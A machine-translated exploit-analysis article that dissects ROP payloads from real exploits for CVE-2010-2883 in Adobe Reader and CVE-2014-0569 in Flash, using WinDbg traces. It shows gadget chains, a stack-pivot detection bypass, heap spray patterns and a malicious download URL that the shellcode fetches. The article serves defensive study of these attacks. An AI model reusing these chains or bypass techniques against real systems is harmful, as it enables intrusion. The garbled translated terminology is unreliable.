In-depth research on the ROP Load Analysis

In-depth research on the ROP Load Analysis
0x00 Introduction

Exploit-db does not feel good, so I will translate the original article titled Deep Dive into ROP Payload Analysis, by Sudeep Singh.

The main purpose of this article is to introduce the analysis technology of the ROP load in the vulnerability exploits, as well as an in-depth analysis of a stack crash detection technology, which is currently used in protection software.

By analyzing the two previously discovered attack samples (CVE-2010-2883 and CVE-2014-0569 ), comparing the complexity of the two ROP loads and the ability to bypass the stack crash detection technology, the detailed analysis of the ROP loads will help us better understand the vulnerability utilization technology and develop a more effective detection mechanism.

This article focuses on vulnerability analysts and those interested in Return Oriented Programming.

 

0x01 scenario

Vulnerability exploitation is becoming increasingly popular. vulnerabilities are also frequently discovered in common software such as browsers, Adobe Reader, Flash Player, Microsoft Silverlight, and Java. Vulnerability exploitation is usually the first stage of an attack, so it is more suitable to defend against the attack in the vulnerability exploitation stage.

On the Internet, you can find many solutions and technologies used to detect and prevent vulnerability exploitation. These detection mechanisms usually focus on the common characteristics of most vulnerabilities. For example:

ROP: Because DEP is enabled by default in all operating systems, exploits of this vulnerability need to bypass DEP protection. ROP is the most common technique used to bypass DEP. However, because of the method in which the ROP works, many features can be detected. Next, we will analyze the stack Detection Technology in depth.

Heap Spray: To obtain stable exploitation, most vulnerabilities use to inject loads into the address space of the process. When the vulnerability is triggered, the execution flow is redirected to the load injected in the process heap, causing the vulnerability to be exploited. However, due to the wide application of Heap Spray technology, it is also provided again to detect their features.

The most common feature is the Heap Spray mode. 0x0c0c0c0c is the most well-known. Of course, there are also some other modes that can be used for Heap Spray.

0x02 mitigation

In this article, we mainly focus on the analysis of the ROP load, so we will mainly discuss the stack compaction detection technology.

Most vulnerabilities are exploited in the following stages:

Attackers can inject loads (Nopsled + ROP payload + shellcode) into the stack to trigger software vulnerabilities, attackers control some registers. These registers are set to point to the stack register gadgetstack register gadget. the stack of the original program is switched to the data in the stack controlled by the attacker, the new stack contains our ROP load. The returned command in stack ready gadget will enable the execution of the drop-down chain.

As an example, a UAF (Use After Free) vulnerability results in the following scenarios:

Movedx, dwordptr ds: [ecx]; edx is the virtual table pointer pushecxcall dwordptr ds: [edx + 0x10] for C ++ objects containing vulnerabilities. call virtual functions in a virtual table controlled by attackers

Because we control the execution flow of the above program, we can redirect the control flow to the following stack slave gadget:

Xchgeax, esp retn

When the vulnerability is triggered, if eax is directing to the data in the heap controlled by the attacker, the heap space pointed by eax will become a new stack through the code snippet above.

ROP is a very good technique and is widely used in today's vulnerability attacks. This also led to many detection mechanisms designed for this exploitation technology.

One of these technologies is stack detection technology.

When the drop-down chain is executed, the attacker's ultimate goal is to re-place shellcode in the executable memory area to bypass DEP protection. To achieve this, attackers will call APIs similar to VirtualAlloc. These APIs used by attackers to bypass DEP are limited.

Because the stack of the original program is switched to the data controlled by the attacker, the stack pointer is no longer limited to the stack.

The program stack limitation information is stored in TEB.

1:020> !tebTEB at 7ffda000ExceptionList: 0220f908StackBase: 02210000StackLimit: 02201000

If the stack pointer is less than the following conditions, we think this is a stack container:

If (esp> StackLimit & esp <StackBase)

To better understand this, we look at a PDF of vulnerability exploitation, CVE-2010-2883.

0x03 drop-down chain analysis

In this article, I will introduce the analysis of the drop-down chain. Please note that we are not analyzing the root cause of the vulnerability. We primarily have a deep understanding of how the ROP load works.

I will discuss two examples. In one example, the ROP load can be detected by the stack supervisor detection, while the other can bypass the detection.

We can analyze the ROP in the following two ways:

Dynamic analysis: It can be performed in two ways

A) known ROP Gadget: in some cases, you can find the ROP gadgets through static analysis. For example, for malicious PDF files, you can confuse the JavaScript code of Heap Spray to locate the ROP gadgets.

B) unknown ROP Gadget: in some cases, it is not easy to locate the ROP gadgets in the vulnerability exploitation code. This may be because highly obfuscated code or the ROP gadgets will be dynamically built during vulnerability exploitation.

In the second case, the ROP gadgets is built during execution, so we need to use other technologies for debugging.

Static analysis: When we can find the ROP gadgets, we can use this technology to analyze the ROP load. We need to find the assembly language code according to the ROP gadgets. This can be done by manually searching for each ROP gadgets in the appropriate module address space. However, this is troublesome. To make this process more efficient, I wrote a C code, which will automatically extract the corresponding bytecode from the module's address space, you can find this code in Appendix 1.

After you write the shellcode in Obfuscated JavaScript into a file, you need to use IDA for disassembly or observe shellcode in a hexadecimal editor. In this way, you can determine whether the shellcode is a regular shellcode or a drop shellcode.

As an example, looking at a malicious PDF file, his MD5 value is 975d4c98a7ff531c26ab255447366ebb, he exploits the vulnerability in the CVE-2010-2883 for attacks.

After dumping shellcode to a file, open the file in the hexadecimal editor and you can see that it is not a common shellcode. I have already identified some of the ROP gadgets:

Generally, all the ROP gadgets will be selected from the same module that is not randomized by the base address. In this case, we can see that all the gadgets comes from one module, and its base address is 0x07000000. Open Adobe Reader through Windbg. We can see that the BIB. dll module occupies the address of 0x07000000.

Therefore, all the ROP gadgets in this example are selected from this module.

Through my code, I checked the address space of this module based on each ROP gadget, searched for the corresponding bytecode, and recorded it in another file.

My code will differentiate the parameters of the ROP gadgets and the ROP gadgets. Now load this file through IDA and mark the appropriate section as code and data.

Now we can analyze the ROP shellcode more efficiently. In some cases, we need to track the ROP shellcode in one step to better understand it. In this case, we need to debug the ROP shellcode, which can be done by setting a breakpoint on the first ROP gadget In the ROP chain.

As an example, I will use a malicious PDF sample that can be used in Versions later than or equal to 9.0 and earlier than or equal to 9.4.0 of Adobe Reader.

This malicious PDF contains multiple ROP loads, which will be selected based on the version of Adobe Reader. Now we can see that we have adopted the ROP shellcode of the ROP gadgets in icucnv36.dll.

We use windbg to open Adobe Reader. We can press g to run Adobe Reader and observe that it has loaded more modules.

Note that icucnv36.dll has not been loaded by Adobe Reader. If I set a breakpoint on the first ROP gadget, this action is not allowed and the following information is displayed:

This is because we are trying to set a breakpoint in a dll address space that has not been loaded.

Run the following command to automatically interrupt the debugger when the module is loaded:

Sxe ld icucnv36.dll

Now, run the Adobe Reader process and open malicious PDF files. Soon icucnv36.dll is loaded and automatically interrupted to the debugger.

Now we can successfully set a breakpoint on the first ROP gadget.

Now the execution process was executed, and soon the first ROP gadget was executed and interrupted to the debugger. When we observe the register content, we can see that esp points to 0x0c0c10.

An attacker can successfully switch the stack by using the stack ready gadget command.

If you observe the content in the address space, you can see the entire ROP shellcode at 0x0c0c0c0c.

In this way, you can debug the drop-down shellcode and perform one-step tracing in the debugger.

Let's take a look at how this malicious PDF file is detected due to stack overflow. If we further track the drop-down chain, we notice that it calls the API function CreateFileA through the drop-down gadget at 0x4a80b692.

Now we are on the API function CreateFileA.

If you check the StackBase and StackLimit values in TEB, you can see that esp is out of this range. If the security software sets an API hook on CreateFileA (), this vulnerability can be easily detected in the stack commit phase.

0x04 Stack Overflow detection Bypass

Now let's look at the recently discovered sample of exploiting the CVE-2014-0569 vulnerability, which uses a drop-down load that can bypass stack Overflow detection. This type of ROP load has not been seen before. Previously, it was only a conceptual proof, but now it has been used for actual vulnerability exploitation.

I found the complete network traffic PCAP file of the vulnerability sample at the address below:

Http://malware-traffic-analysis.net/2014/10/30/index2.html

As you can see, this vulnerability is deployed at kethanlingtoro. eu.

The following HTML code is used to load malicious swf files in a browser, triggering a vulnerability in the Adobe Flash Player Plug-in.

Note that Flash vars is used as the parameter passed to the Flash loader. This is required for exploiting vulnerabilities. Without this vulnerability, malicious swf files will crash.
In this example, malicious swf files are highly obfuscated, as shown in, and common Flash Decompilers cannot decompile the code. Therefore, it is not easy to locate the ROP gadgets through static analysis.

By viewing the decompiled Flash code, we can see that in the vulnerability exploitation function, it uses a Sound object and calls its toString () method. Currently, Sound objects are widely used to exploit vulnerabilities. Through this vulnerability, the virtual function table of the Sound object will be overwritten, which will eventually lead to attackers controlling the execution flow of the program.
Sound object:

The toString () method of the Sound object is called:

The following describes how to analyze this ROP load through the debugger.
Environment Information:
Operating System: Win 7 SP1 32-bit
Flash Player version: 15.0.0.167
As we know that the virtual function table of the Sound object will be controlled by attackers, we can set a breakpoint to debug this ROP load where the Sound object is called to call the toString () method.
Append windbg to Internet Explorer. Before loading malicious web pages to the browser, we can set the module to load breakpoints when loading Flash32_15_0_0_167.ocx from C: \ Windows \ system32 \ Macromed \ Flash.
Sxe ld Flash32_15_0_0_167.ocx
Now we load the web page, which will interrupt the debugger.
Because base address randomization is enabled for this module, the address that calls the toString () method changes each time. First, find the address:
1:021> u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:5eef8945 ffd2       call edx5eef8947 5e         pop esi5eef8948 c20400 ret 4
We set the breakpoint at 0x5eef8945.
We run this vulnerability to interrupt the above address, as shown below:
1:021> gBreakpoint 0 hiteax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 edi=0697c020eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0   nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}
If we look at the disassembly code before this command, we will see that in the vulnerability exploitation, the complete virtual function table of the Sound object has been rewritten, such:

5eef8940 8b01   mov eax,dword ptr [ecx]5eef8942 8b5070     mov edx,dword ptr [eax+70h]5eef8945 ffd2       call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}ecx = Sound Objecteax = VTable of the Sound Object[eax+0x70] = address of toString() method
At the same time, we can see that all the virtual functions in the virtual function table are rewritten to 0x5e861193 (retn command ). The toString () method's virtual function pointer has been rewritten to 0x5e8805bb.
1:021> dd eax081ab000 5e861193 5e861193 5e861193 5e861193081ab010 5e861193 5e861193 5e861193 5e861193081ab020 5e861193 5e861193 5e861193 5e861193081ab030 5e861193 5e861193 5e861193 5e861193081ab040 5e861193 5e861193 5e861193 5e861193081ab050 5e861193 5e861193 5e861193 5e861193081ab060 5e861193 5e861193 5e861193 5e861192081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
Let's take a look at the disassembly code at 0x5e8805bb:
1:021> u 5e8805bbFlash32_15_0_0_167+0x205bb:5e8805bb 94     xchg eax,esp5e8805bc c3     ret

This means that the attacker controls the value of eax and the data it points. Let's take a look:
1:021> dd eax070ab000 5e861193 5e861193 5e861193 5e861193070ab010 5e861193 5e861193 5e861193 5e861193070ab020 5e861193 5e861193 5e861193 5e861193070ab030 5e861193 5e861193 5e861193 5e861193070ab040 5e861193 5e861193 5e861193 5e861193070ab050 5e861193 5e861193 5e861193 5e861193070ab060 5e861193 5e861193 5e861193 5e861192070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478

In our ROP load, all the gadgets comes from the Flash32_15_0_0_167.ocx module.
At the same time, it should be noted that the original esp value will be stored in eax after stack rollback.
In the drop-down chain, we can see that many gadgets point to 0x5e861193. As we can see below, they all return commands.
1:021> u 5e861193Flash32_15_0_0_167+0x1193:5e861193 c3  ret
After executing the above series of returned commands, we can see that
1:021> u eipFlash32_15_0_0_167+0x1192:5e861192 59  pop ecx5e861193 c3  ret

This ROP gadget sets the ecx value to 0x5e8805bb.
1:021> dd esp070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca
Four times of the following ROP gadget occurs.
1:021> u eipFlash32_15_0_0_167+0x61478:5e8c1478 48     dec eax5e8c1479 c3     ret

As we mentioned earlier, the original esp value before the stack consumer execution has been stored in eax. Therefore, eax is reduced by four times, that is, a four-byte is opened up on the original stack.
1:021> u eipFlash32_15_0_0_167+0x1192:5e861192 59     pop ecx5e861193 c3 ret
Include the following data on the current stack:
1:021> dd esp070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192
Through the previous drop gadget, the ecx value is set to 0x5e8e2e45, and then
1:021> u eipFlash32_15_0_0_167+0x3a4ca:5e89a4ca 8908   mov  dword ptr [eax],ecx5e89a4cc 5d         pop ebp5e89a4cd c3         ret
This will store the value of ecx on the original stack (esp-4)

The next ROP gadget will pop up 0x41414141 to ebp, which is only used for filling. Because our ROP gadget contains a pop ebp command before returning. The above ROP gadgets will be executed multiple times. We can summarize as follows:
Gadget 1:dec eax;retn
This ROP gadget can be executed four times and a DWORD can be opened on the original stack.
Gadget 2:pop ecx;retn
Set the value of the ecx register.
Gadget 3:mov dword ptr [eax], ecx;pop ebp;retn
Move the value of ecx into the original stack.
That is to say, the ROP load carefully sets the data in the original stack through the data in the attacker's buffer zone.
Continue to track the ROP load, and finally find that the stack supervisor will be executed again.
If you view the original stack now, you can see that the stack is carefully arranged, and the stack supervisor will redirect the control to the kernel32! VirtualAllocStub ().

The VirtualAlloc parameters carefully arranged on the stack are as follows:

This means that the ROP load will be allocated 0x1000 bytes of memory space with PAGE_EXECUTE_READWRITE (0x40) and MEM_COMMIT (0 x) attributes.
Let's take a look at the StackBase and StackLimit values in TEB.
As shown in the following figure, the stack pointer is within the range of StackBase and StackLimit. Therefore, the stack overflow mitigation cannot prevent this vulnerability from being exploited.

For further analysis, the STACK layout is as follows:
1:020> dd esp0220ec50 5e861193 00000000 00001000 000010000220ec60 00000040 5e861192 c30c4889 5e89a4ca0220ec70 41414141 5e861192 9090a5f3 5e8e2e450220ec80 5e861192 c3084889 5e89a4ca 414141410220ec90 5e861192 90909090 5e8e2e45 5e8611920220eca0 c3044889 5e89a4ca 41414141 5e8611920220ecb0 9090ee87 5e8e2e45 5e861192 10788d600220ecc0 5e89a4ca 070514b8 5e861192 00000143
Set the breakpoint at the return address 0x5e861193. The newly allocated memory address 0x1c100000 is stored in eax. The following ROP loads are also interesting:
1:020> dd esp0220ec64 5e861192 c30c4889 5e89a4ca 414141410220ec74 5e861192 9090a5f3 5e8e2e45 5e8611920220ec84 c3084889 5e89a4ca 41414141 5e8611920220ec94 90909090 5e8e2e45 5e861192 c30448890220eca4 5e89a4ca 41414141 5e861192 9090ee870220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca0220ecc4 070514b8 5e861192 00000143 5e8e2e450220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021
I have summarized it as follows:
pop ecx/retn ; set ecx to 0xc30c4889mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)pop ecx/retn ; set ecx to 0x9090a5f3push eax/retn ; redirect execution to newly allocated memorymov dword ptr [eax+0xc], ecx/ retn ; mov ecx to newly allocated memory (screenshot 9)pop ecx/retn ; set ecx to 0xc3084889mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)pop ecx/retn ; set ecx to 0x90909090push eax/retn ; redirect execution to newly allocated memorymov dword ptr [eax+0x8], ecx/retn ; move ecx to newly allocated memory (pointed by eax)pop ecx/retn ; set ecx to 0xc3044889mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)pop ecx/retn ; set ecx to 0x9090ee87push eax/retn ; redirect execution to newly allocated memorymov dword ptr [eax+0x4], ecx/retn; move ecx to newly allocated memory (pointed by eax)pop ecx/retn ; set ecx to 0x10788d60mov dword ptr [eax], ecx/retn ;pop ecx/retn ; set ecx to 0x143push eax/retn ; now we are at the shellcode

This part of the ROP load will copy 0x143 DWORD from the master shellcode to the newly allocated memory space.

Now is the second-stage shellcode.

Further tracking of the code, we will see the dynamic search for the kernelbase. dll base address and the calculation of the VirtualProtect function address.

This modifies the protection attribute of the memory area of 0x01c10060 at 0x4b3 bytes. Call the GetTempPathA build path C: \ Users \ n3on \ AppData \ Local \ Temp \ stuprt.exe.

Use LoadLibraryA to load the wininet. dll library.

Then we can see that the load is downloaded from http://kethanlingtoro.eu/xs3884y132186/lofla1.php by calling InternetOpenUrlA.
We can determine that the URL is the same as that in the PCAP file, as shown below:

The load will be stored in C: \ Users \ n3on \ AppData \ Local \ Temp \ stuprt.exe and executed.
In this way, we can analyze the ROP load and shellcode through the debugger.
Next we will look at another method for analyzing this load.
We know that once the call command of the toString () method called by the Sound object is interrupted, it will redirect the control to the stack executor gadget. In this case, attackers can control the value of eax and the data at this location.
We can dump the ROP load and shellcode from the memory to the file. As shown in the following figure, you can use the writememcommand to store the shellcodein the memory of the node 0 X to the rop.txt file.

Write a C program to print the DWORD list in rop.txt.
The base address for storing Flash32_15_0_0_167.ocx is also very important while dumping the ROP load (because the base address is enabled randomly, we need the base address to calculate the relative virtual address of the ROP gadgets ).
With the C code written before, you can find all the bytecode In the ROP gadgets in rop.txt.
The complete drop-down chain for bypass stack detection is in Appendix 2.
0x05 Heap Spray mode

Since ROP is used together with the Heap Spray technology, we will discuss the differences between the heap spray modes used by these two vulnerabilities. In the first example, we perform a heap analysis when we interrupt the first ROP gadget of a malicious PDF in the debugger.
CVE-2010-2883 (malicious PDF)
! Heap-stat

You can see that the heap space allocated at 00390000 has the maximum commit bytes. Let's further analyze:
0: 000>! Heap-stat-h 00390000

As we can see, it contains 0x1f0 blocks of the size of 0xfefc bytes. This is a very fixed allocation mode and a good tag for identifying heap spray. Further enumerate all heap blocks with the size of 0xfefc
0:000> !heap -flt s fefec_HEAP @ 150000_HEAP @ 250000_HEAP @ 260000 _HEAP @ 360000_HEAP @ 390000HEAP_ENTRY Size Prev Flags UserPtr UserSize - stateinvalid allocation size, possible heap corruption039c0018 1fdfd 0000 [0b]  039c0020  fefec - (busy VirtualAlloc)
If the memory at 0x039c0020 is dumped, the NOP mode is displayed:
0:000> dd 039c0020039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
This mode is a good identifier for security software to identify heap spray, such as EMET detection heap spray.
Malicious SWF CVE-2014-0569)
If you check heap block allocation in the second example, no fixed mode is found.
Perform heap analysis when the service is interrupted to the stack consumer gadget:
0:000> !heap -stat_HEAP 00900000Segments 00000001Reserved bytes     00100000Committed bytes   00100000VirtAllocBlocks    00000000VirtAlloc bytes   00000000_HEAP 00150000Segments 00000001Reserved bytes     00100000Committed bytes   00082000VirtAllocBlocks    00000000VirtAlloc bytes   00000000
The preceding two parts contain the maximum number of commit bytes.
For the heap at 0x00900000
0:000> !heap -stat -h 00900000heap @ 00900000group-by: TOTSIZE max-display: 20size #blocks total ( %) (percent of total busy bytes)
Windbg does not provide the heap statistics. Check for another heap.
0:000> !heap -stat -h 00150000heap @ 00150000group-by: TOTSIZE max-display: 20size #blocks total ( %) (percent of total busy bytes)8000 1 - 8000 (7.52)20 31d - 63a0 (5.85)57f0 1 - 57f0 (5.17)4ffc 1 - 4ffc (4.70)614 c - 48f0 (4.28)3980 1 - 3980 (3.38)388 10 - 3880 (3.32)2a4 13 - 322c (2.95)800 6 - 3000 (2.82)580 8 - 2c00 (2.58)

The fixed mode is not seen here. That is to say, in the second vulnerability exploitation, the security software similar to EMET cannot work on the heap spray detection method.
Because AS3 Flash Vector objects are injected into the memory space in the second vulnerability exploitation, you can view these objects:
03f4d000 000003fe 03162000 0 beedead 0000027f ............... 03f4f000 000003fe 03162000 0 beedead 00000280 ............... 03f51000 000003fe 03162000 0 beedead 00000281 ............... 03f53000 000003fe 03162000 0 beedead 00000282 ............... 03f55000 000003fe 03162000 0 beedead 00000283 ............... 03f57000 000003fe 03162000 0 beedead 00000284 ............... 03f59000 000003fe 03162000 0 beedead 00000285 ............... 03f5b000 000003fe 03162000 0 beedead 00000286 ............... 03f5d000 000003fe 03162000 0 beedead 00000287 ...............
0x3fe indicates the length of the Vector object.
The process for exploiting most recent vulnerabilities is as follows:
Malicious SWF files use The ActionScript code to inject Flash Vector objects
Trigger the vulnerability, which allows you to modify the value in the memory address space.
In the CVE-2014-0322, you can get a UAF crash at inc dword ptr ds: [eax + 0x10.
If an attacker can point eax + 0x10 to the length field of the injected Flash Vector object, the length can be increased.
By increasing the length of the Vector object, you can add a new element to the Vector object array. Because the boundary check is completed in the ActionScript Code, adding elements to the Vector object will overwrite the length of the next Vector object in the memory. Therefore, this vulnerability can be exploited to set the length to a large value to obtain the access capability from any location in the program address space.
In the exploitation of all these vulnerabilities, the control process has some common attributes:
The length of the Vector object is set to 0x3fe.
Since Flash AS3 Vector objects are allocated in memory, they are aligned according to the 0x1000 byte boundary.
The virtual function table of the Sound object is damaged, and the toString () method is called to obtain the program control flow.
Based on this, it is very important to detect the injection of this Vector object.
0x06 conclusion

We can see that the vulnerability exploitation process becomes more complex as the new vulnerability exploitation detection technology is used by security software. Obviously, the vulnerabilities used for attacks also noticed these detection technologies and tried to bypass them. By reading this article, you will be able to thoroughly analyze the ROP load in the vulnerability exploits.